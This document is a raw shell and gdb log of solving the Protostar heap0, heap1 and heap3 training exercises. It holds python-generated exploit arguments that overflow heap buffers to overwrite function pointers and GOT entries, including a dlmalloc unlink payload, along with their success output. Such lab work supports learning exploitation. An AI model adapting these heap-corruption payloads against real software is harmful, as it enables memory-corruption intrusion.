user@protostar:/opt/protostar/bin$ ./heap3  `python -c "print 'A'*4+'\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32+'\xf9\xff\xff\xff'+'\xfc\xff\xff\xff'+'AAAAAAA'+'\x1c\xb1\x04\x08'+'\x0c\xc0\x04\x08'"` C

that wasn't too bad now, was it? @ 1480306857

user@protostar:/opt/protostar/bin$ 

[ auth = 0x804c038, service = 0x804c018 ]

auth AAAAAAAAAAAAAAAABBBB

[ auth = 0x804c048, service = 0x804c018 ]

login

please enter your password

[ auth = 0x804c048, service = 0x804c018 ]

auth A

[ auth = 0x804c058, service = 0x804c018 ]

service 123456789ABCEDEF

[ auth = 0x804c058, service = 0x804c068 ]

login

you have logged in already!

[ auth = 0x804c058, service = 0x804c068 ]

^Z

Program received signal SIGTSTP, Stopped (user).

0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82

82 in ../sysdeps/unix/syscall-template.S

(gdb) x/60x 0x804c000

0x804c000: 0x00000000 0x00000011 0x41414141 0x0000000a

0x804c010: 0x00000000 0x00000011 0x0000000a 0x00000000

0x804c020: 0x00000000 0x00000011 0x42424242 0x0000000a

0x804c030: 0x00000000 0x00000011 0x34333231 0x38373635

0x804c040: 0x43424139 0x00000011 0x41414141 0x41414141

0x804c050: 0x41414141 0x00000011 0x00000a41 0x0000000a

0x804c060: 0x00000000 0x00000019 0x33323120 0x37363534

0x804c070: 0x42413938 0x45444543 0x00000a46 0x41414119

0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000

(gdb) 

user@protostar:/opt/protostar/bin$ ./heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"'` `python -c "print '\x94\x84\x04\x08'"`

and we have a winner @ 1480261669

user@protostar:/opt/protostar/bin$ ./heap0 `python -c "print 'A'*72+'\x64\x84\x04\x08'"`

data is at 0x804a008, fp is at 0x804a050

level passed